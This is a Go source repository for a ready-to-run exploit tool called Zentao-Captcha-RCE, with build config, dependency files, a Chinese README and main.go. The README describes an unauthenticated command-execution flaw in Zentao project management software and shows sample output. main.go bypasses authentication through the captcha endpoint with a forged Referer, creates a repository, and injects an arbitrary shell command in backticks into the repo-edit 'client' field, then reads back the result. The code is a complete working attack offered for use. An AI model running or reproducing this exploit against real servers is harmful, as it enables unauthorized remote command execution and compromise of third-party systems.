├── .gitignore ├── .goreleaser.yml ├── .github └── workflows │ └── release-binary.yml ├── go.mod ├── README.md ├── go.sum └── main.go /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/ 2 | .DS_Store -------------------------------------------------------------------------------- /.goreleaser.yml: -------------------------------------------------------------------------------- 1 | # This is an example goreleaser.yaml file with some sane defaults. 2 | # Make sure to check the documentation at http://goreleaser.com 3 | # https://goreleaser.com/customization/build/ 4 | project_name: '{{ .ProjectName }}' 5 | gomod: 6 | proxy: false 7 | builds: 8 | - env: [CGO_ENABLED=0] 9 | binary: '{{ .ProjectName }}' 10 | main: ./ 11 | ldflags: 12 | - -s -w -X main.Version={{.Version}} 13 | goos: 14 | - linux 15 | - windows 16 | - darwin 17 | goarch: 18 | - amd64 19 | - 386 20 | - arm64 21 | checksum: 22 | name_template: 'checksums.txt' 23 | snapshot: 24 | name_template: "{{ .Tag }}-next" 25 | archives: 26 | - files: 27 | - none* 28 | changelog: 29 | sort: asc 30 | filters: 31 | exclude: 32 | - '^docs:' 33 | - '^test:' -------------------------------------------------------------------------------- /.github/workflows/release-binary.yml: -------------------------------------------------------------------------------- 1 | name: 🎉 Release Binary 2 | 3 | on: 4 | push: 5 | tags: 6 | - 'v*' 7 | jobs: 8 | build: 9 | permissions: 10 | id-token: write 11 | contents: write 12 | runs-on: ubuntu-latest 13 | steps: 14 | - uses: actions/checkout@v3 15 | name: Checkout 16 | with: 17 | fetch-depth: 0 18 | 19 | - uses: actions/setup-go@v3 20 | name: Set up Go 21 | with: 22 | go-version: 1.19 23 | cache: true 24 | 25 | - uses: goreleaser/goreleaser-action@v2 26 | name: Run GoReleaser 27 | if: success() && startsWith(github.ref, 'refs/tags/') 28 | with: 29 | version: latest 30 | args: release --rm-dist 31 | env: 32 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 33 | COSIGN_EXPERIMENTAL: 1 34 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module main 2 | 3 | go 1.19 4 | 5 | require ( 6 | github.com/go-resty/resty/v2 v2.7.0 7 | github.com/projectdiscovery/gologger v1.1.7 8 | ) 9 | 10 | require ( 11 | github.com/dsnet/compress v0.0.1 // indirect 12 | github.com/golang/snappy v0.0.1 // indirect 13 | github.com/json-iterator/go v1.1.12 // indirect 14 | github.com/logrusorgru/aurora v2.0.3+incompatible // indirect 15 | github.com/mholt/archiver v3.1.1+incompatible // indirect 16 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 17 | github.com/modern-go/reflect2 v1.0.2 // indirect 18 | github.com/nwaples/rardecode v1.1.0 // indirect 19 | github.com/pierrec/lz4 v2.6.0+incompatible // indirect 20 | github.com/ulikunitz/xz v0.5.7 // indirect 21 | github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 // indirect 22 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb // indirect 23 | gopkg.in/djherbis/times.v1 v1.3.0 // indirect 24 | ) 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Zentao-Captcha-RCE 2 | 3 | > 禅道研发项目管理软件是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。该漏洞是由于禅道项目管理系统权限认证存在缺陷导致,攻击者可利用该漏洞在未授权的情况下,通过权限绕过在服务器执行任意命令。 4 | 5 | ## USE 6 | 7 | ```bash 8 | go run main.go -p http://127.0.0.1:8080 -c id -u http://example.com 9 | ``` 10 | 11 | ``` 12 | 13 | ####### ####### ##### ###### ##### ####### 14 | # # # # ## ##### ##### #### # # ## # # # # # 15 | # # # # # # # # # # # # # # # # # # 16 | # # # # # # # # # ###### # # ###### # ##### 17 | # # # ###### ##### # # # # ###### # # # # 18 | # # # # # # # # # # # # # # # # # # # 19 | ####### # ##### # # # # #### # # # # # # ##### ####### 20 | 21 | [INFO] Target URL: http://example.com 22 | [INFO] Proxy: http://127.0.0.1:8080 23 | [INFO] Zentao Web根路径: http://example.com 24 | [INFO] requestType: PATH_INFO 25 | [INFO] zentaosid: 4cc98u18fevc4a8kbsmrjv9dlq 26 | [INFO] repoID: 30 27 | [INFO] Command: id 28 | [INFO] 命令执行结果: uid=33(www-data) 29 | ``` 30 | 31 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 2 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 4 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 5 | github.com/dsnet/compress v0.0.1 h1:PlZu0n3Tuv04TzpfPbrnI0HW/YwodEXDS+oPKahKF0Q= 6 | github.com/dsnet/compress v0.0.1/go.mod h1:Aw8dCMJ7RioblQeTqt88akK31OvO8Dhf5JflhBbQEHo= 7 | github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY= 8 | github.com/frankban/quicktest v1.11.3 h1:8sXhOn0uLys67V8EsXLc6eszDs8VXWxL3iRvebPhedY= 9 | github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k= 10 | github.com/go-resty/resty/v2 v2.7.0 h1:me+K9p3uhSmXtrBZ4k9jcEAfJmuC8IivWHwaLZwPrFY= 11 | github.com/go-resty/resty/v2 v2.7.0/go.mod h1:9PWDzw47qPphMRFfhsyk0NnSgvluHcljSMVIq3w7q0I= 12 | github.com/golang/snappy v0.0.1 h1:Qgr9rKW7uDUkrbSmQeiDsGa8SjGyCOGtuasMWwvp2P4= 13 | github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 14 | github.com/google/go-cmp v0.5.4 h1:L8R9j+yAqZuZjsqh/z+F1NCffTKKLShY6zXTItVIZ8M= 15 | github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 16 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 17 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= 18 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= 19 | github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= 20 | github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= 21 | github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= 22 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 23 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 24 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 25 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 26 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 27 | github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8= 28 | github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= 29 | github.com/mholt/archiver v3.1.1+incompatible h1:1dCVxuqs0dJseYEhi5pl7MYPH9zDa1wBi7mF09cbNkU= 30 | github.com/mholt/archiver v3.1.1+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU= 31 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 32 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= 33 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 34 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= 35 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= 36 | github.com/nwaples/rardecode v1.1.0 h1:vSxaY8vQhOcVr4mm5e8XllHWTiM4JF507A0Katqw7MQ= 37 | github.com/nwaples/rardecode v1.1.0/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0= 38 | github.com/pierrec/lz4 v2.6.0+incompatible h1:Ix9yFKn1nSPBLFl/yZknTp8TU5G4Ps0JDmguYK6iH1A= 39 | github.com/pierrec/lz4 v2.6.0+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= 40 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 41 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 42 | github.com/projectdiscovery/gologger v1.1.7 h1:QeByO4NR8vlZ5ZM2XIOJARRj5WOOU5Ix35FBQ1iH5Rk= 43 | github.com/projectdiscovery/gologger v1.1.7/go.mod h1:bNyVaC1U/NpJtFkJltcesn01NR3K8Hg6RsLVce6yvrw= 44 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 45 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 46 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 47 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 48 | github.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8= 49 | github.com/ulikunitz/xz v0.5.7 h1:YvTNdFzX6+W5m9msiYg/zpkSURPPtOlzbqYjrFn7Yt4= 50 | github.com/ulikunitz/xz v0.5.7/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= 51 | github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 h1:nIPpBwaJSVYIxUFsDv3M8ofmx9yWTog9BfvIu0q41lo= 52 | github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos= 53 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb h1:pirldcYWx7rx7kE5r+9WsOXPXK0+WH5+uZ7uPmJ44uM= 54 | golang.org/x/net v0.0.0-20211029224645-99673261e6eb/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 55 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 56 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 57 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 58 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 59 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 60 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= 61 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 62 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 63 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 64 | gopkg.in/djherbis/times.v1 v1.3.0 h1:uxMS4iMtH6Pwsxog094W0FYldiNnfY/xba00vq6C2+o= 65 | gopkg.in/djherbis/times.v1 v1.3.0/go.mod h1:AQlg6unIsrsCEdQYhTzERy542dz6SFdQFZFv6mUY0P8= 66 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 67 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= 68 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 69 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // @File : main.go 2 | // @Time : 2023/01/17 14:25:22 3 | // @Author : _0xf4n9x_ 4 | // @Version : 1.0 5 | // @Contact : fanq.xu@gmail.com 6 | 7 | package main 8 | 9 | import ( 10 | "bufio" 11 | "encoding/json" 12 | "flag" 13 | "fmt" 14 | "math/rand" 15 | neturl "net/url" 16 | "os" 17 | "regexp" 18 | "strings" 19 | "time" 20 | 21 | "github.com/go-resty/resty/v2" 22 | "github.com/projectdiscovery/gologger" 23 | ) 24 | 25 | const banner = ` 26 | ####### ####### ##### ###### ##### ####### 27 | # # # # ## ##### ##### #### # # ## # # # # # 28 | # # # # # # # # # # # # # # # # # # 29 | # # # # # # # # # ###### # # ###### # ##### 30 | # # # ###### ##### # # # # ###### # # # # 31 | # # # # # # # # # # # # # # # # # # # 32 | ####### # ##### # # # # #### # # # # # # ##### ####### 33 | ` 34 | 35 | var ( 36 | h bool 37 | url string 38 | proxyURL string 39 | command string 40 | stdin bool 41 | baseURL string // Zentao WebRoot Path 42 | timeout int 43 | requestType string 44 | zentaosid string 45 | repoID string 46 | ) 47 | 48 | func showBanner() { 49 | gologger.Print().Msgf("%s\n", banner) 50 | } 51 | 52 | func hasStdin() bool { 53 | stat, err := os.Stdin.Stat() 54 | if err != nil { 55 | return false 56 | } 57 | isPipedFromChrDev := (stat.Mode() & os.ModeCharDevice) == 0 58 | isPipedFromFIFO := (stat.Mode() & os.ModeNamedPipe) != 0 59 | return isPipedFromChrDev || isPipedFromFIFO 60 | } 61 | 62 | func init() { 63 | flag.BoolVar(&h, "h", false, "显示帮助信息") 64 | flag.StringVar(&url, "u", "", "目标URL,例如:http://example.com") 65 | flag.StringVar(&proxyURL, "p", "", "使用代理,例如:http://127.0.0.1:8080") 66 | flag.StringVar(&command, "c", "", "期望被执行的命令") 67 | flag.IntVar(&timeout, "t", 15, "请求超时时间") 68 | flag.Parse() 69 | 70 | stdin = hasStdin() 71 | 72 | showBanner() 73 | 74 | // -h flag or no flag, no stdin 75 | if h || (len(os.Args) == 1 && !stdin) { 76 | flag.Usage() 77 | os.Exit(0) 78 | } 79 | 80 | // no url and no stdin 81 | if url == "" && !stdin { 82 | gologger.Error().Msg("目标不能为空,使用-h参数查看帮助信息。\n\n") 83 | os.Exit(0) 84 | } 85 | 86 | // stdin to url 87 | if stdin && url == "" { 88 | scanner := bufio.NewScanner(os.Stdin) 89 | for scanner.Scan() { 90 | t := scanner.Text() 91 | if t == "" { 92 | continue 93 | } 94 | url = t 95 | } 96 | } 97 | 98 | // check url url format. 99 | if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") { 100 | gologger.Error().Msg("请检查输入的目标URL格式!\n\n") 101 | os.Exit(0) 102 | } 103 | 104 | // no command 105 | if command == "" { 106 | gologger.Error().Msg("请输入要执行的命令!\n\n") 107 | os.Exit(0) 108 | } 109 | } 110 | 111 | func main() { 112 | gologger.Print().Label("INFO").Msg("Target URL: " + url) 113 | exploit(url, command, proxyURL) 114 | } 115 | 116 | func exploit(url string, command string, proxyURL string) bool { 117 | client := resty.New() 118 | client.SetTimeout(15 * time.Second) 119 | 120 | if proxyURL != "" { 121 | gologger.Print().Label("INFO").Msg("Proxy: " + proxyURL) 122 | client.SetProxy(proxyURL) 123 | } 124 | 125 | // 1. 确定正确完整的Zentao baseURL 126 | u, _ := neturl.Parse(url) 127 | paths := []string{"/", "/zentao/"} 128 | 129 | userAgent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36" 130 | 131 | zentaoPath := false 132 | for _, path := range paths { 133 | uri := u.Path + path 134 | baseURL = u.Scheme + "://" + u.Host + strings.Replace(uri, "//", "/", -1) 135 | baseResp, _ := client.R(). 136 | SetHeader("User-Agent", userAgent). 137 | Get(baseURL) 138 | if baseResp.StatusCode() == 200 && strings.Contains(string(baseResp.Body()), "/user-login") { 139 | zentaoPath = true 140 | break 141 | } 142 | } 143 | if !zentaoPath { 144 | baseURL = url 145 | gologger.Print().Label("WARN").Msg("Zentao Web根路径未找到,使用输入的URL代替之。") 146 | } else { 147 | gologger.Print().Label("INFO").Msg("Zentao Web根路径: " + baseURL) 148 | } 149 | 150 | // 2. 获取请求类型 151 | configURL := baseURL + "?mode=getconfig" 152 | configResp, _ := client.R(). 153 | SetHeader("User-Agent", userAgent). 154 | Get(configURL) 155 | 156 | if strings.Contains(string(configResp.Body()), "requestType\":") { 157 | var jsonResp map[string]interface{} 158 | _ = json.Unmarshal(configResp.Body(), &jsonResp) 159 | if strings.Contains(jsonResp["requestType"].(string), "PATH_INFO") { 160 | requestType = "PATH_INFO" 161 | gologger.Print().Label("INFO").Msg("requestType: " + requestType) 162 | } else if strings.Contains(jsonResp["requestType"].(string), "GET") { 163 | requestType = "GET" 164 | gologger.Print().Label("INFO").Msg("requestType: " + requestType) 165 | } 166 | } else { 167 | requestType = "PATH_INFO" 168 | gologger.Print().Label("WARN").Msg("requestType没有获取到,默认使用PATH_INFO") 169 | } 170 | 171 | referURL := baseURL + "index.php?m=user&f=login&referer=L2luZGV4LnBocD9tPXJlcG8mZj1jcmVhdGUmX3NpbmdsZT0xMjM=" 172 | 173 | // 3. 获取Cookie绕过认证 174 | captchaURL := baseURL + getURI("misc-captcha-user", requestType) 175 | captchaResp, _ := client.R(). 176 | SetHeader("User-Agent", userAgent). 177 | SetHeader("Referer", referURL). 178 | SetHeader("HTTP_SEC_FETCH_DEST", "frame"). 179 | Get(captchaURL) 180 | 181 | if captchaResp.StatusCode() == 200 && captchaResp.Header().Get("Content-Type") == "image/jpeg" { 182 | // zentaosid=a3adde2af35c975f042d0ee0fc349019; lang=zh-cn; device=desktop; theme=default 183 | cookies := string(captchaResp.Request.Header.Get("Cookie")) 184 | if strings.Contains(cookies, "zentaosid") { 185 | for _, v := range strings.Split(cookies, "; ") { 186 | if strings.Contains(v, "zentaosid") { 187 | zentaosid = strings.Split(v, "=")[1] 188 | gologger.Print().Label("INFO").Msg("zentaosid: " + zentaosid) 189 | break 190 | } 191 | } 192 | } 193 | } else { 194 | gologger.Error().Msg("尝试绕过认证失败。\n") 195 | os.Exit(0) 196 | } 197 | 198 | // 4. 创建仓库,并获取repoID 199 | createURL := baseURL + getURI("repo-create-123", requestType) 200 | createdata := fmt.Sprintf("SCM=Gitlab&client=foo&serviceHost=zentao.gitlab.com&serviceProject=%s&serviceToken=admin&path=123&product=%s&name=%s&encoding=UTF8", genRandStr(10), genRandStr(10), genRandStr(10)) 201 | createResp, _ := client.R(). 202 | SetHeader("User-Agent", userAgent). 203 | SetHeader("Referer", referURL). 204 | SetHeader("Content-Type", "application/x-www-form-urlencoded"). 205 | SetBody(createdata). 206 | Post(createURL) 207 | 208 | createbody := string(createResp.Body()) 209 | if strings.Contains(createbody, "repo-showSyncCommit") { 210 | bodyArr := strings.Split(createbody, "-") 211 | repoID = bodyArr[len(bodyArr)-2] 212 | } else if strings.Contains(string(createResp.Body()), "showSyncCommit&repoID") { 213 | bodyArr := strings.Split(createbody, "&") 214 | repo := bodyArr[len(bodyArr)-2] 215 | repoArr := strings.Split(repo, "=") 216 | repoID = repoArr[len(repoArr)-1] 217 | } else { 218 | gologger.Error().Msg("repoID没有找到。\n") 219 | os.Exit(0) 220 | } 221 | gologger.Print().Label("INFO").Msg("repoID: " + repoID) 222 | 223 | // 5. 命令注入 224 | editURL := baseURL + getURI(fmt.Sprintf("repo-edit-%s", repoID), requestType) 225 | datas := []string{fmt.Sprintf("SCM=Subversion&client=`%s`&gitlabHost=http://foo&gitlabProject=foo&gitlabToken=123&name=123&product=123&path=123", command), fmt.Sprintf("SCM=Subversion&client=%s&gitlabHost=http://foo&gitlabProject=foo&gitlabToken=123&name=123&product=123&path=123", command)} 226 | 227 | for _, data := range datas { 228 | editResp, _ := client.R(). 229 | SetHeader("User-Agent", userAgent). 230 | SetHeader("Referer", referURL). 231 | SetHeader("X-Requested-With", "XMLHttpRequest"). 232 | SetHeader("Content-Type", "application/x-www-form-urlencoded"). 233 | SetBody(data). 234 | Post(editURL) 235 | editbody := string(editResp.Body()) 236 | 237 | if editResp.StatusCode() == 200 && strings.Contains(editbody, ": not found") { 238 | // 有回显情况 239 | var re = regexp.MustCompile(`(?m): 1: (.*): not found`) 240 | result := re.FindStringSubmatch(editbody)[1] 241 | gologger.Print().Label("INFO").Msg("Command: " + command) 242 | gologger.Print().Label("INFO").Msg("命令执行结果: " + result) 243 | return true 244 | } else if (editResp.StatusCode() == 200 && strings.Contains(editbody, "/user-deny-repo-edit") && strings.Contains(editbody, "self.location=")) || strings.Contains(editbody, `\u5ba2\u6237\u7aef\u5b89\u88c5\u76ee\u5f55\u4e0d\u80fd\u6709\u7a7a\u683c\uff01`) { 245 | // 无回显情况 246 | gologger.Print().Label("INFO").Msg("Command: " + command) 247 | gologger.Print().Label("INFO").Msg("当前命令执行可能无回显,请尝试使用带外方式。") 248 | return true 249 | } else { 250 | continue 251 | } 252 | } 253 | gologger.Print().Label("WARN").Msg("命令执行失败,后台命令执行漏洞可能已被修复。") 254 | 255 | return true 256 | } 257 | 258 | func getURI(path string, requestType string) string { 259 | if requestType == "PATH_INFO" { 260 | return path 261 | } else if requestType == "GET" { 262 | params := strings.Split(path, "-") 263 | if len(params) < 2 { 264 | return path 265 | } 266 | uri := fmt.Sprintf("?m=%s&f=%s", params[0], params[1]) // ?m=misc&f=captcha 267 | params = params[2:] 268 | for i, aParam := range params { 269 | uri += fmt.Sprintf("&arg%d=%s", i+1, aParam) 270 | } 271 | return uri // ?m=misc&f=captcha&arg1=user 272 | } 273 | return path 274 | } 275 | 276 | func genRandStr(length int) string { 277 | const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 278 | var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano())) 279 | b := make([]byte, length) 280 | for i := range b { 281 | b[i] = charset[seededRand.Intn(len(charset))] 282 | } 283 | return string(b) 284 | } 285 | --------------------------------------------------------------------------------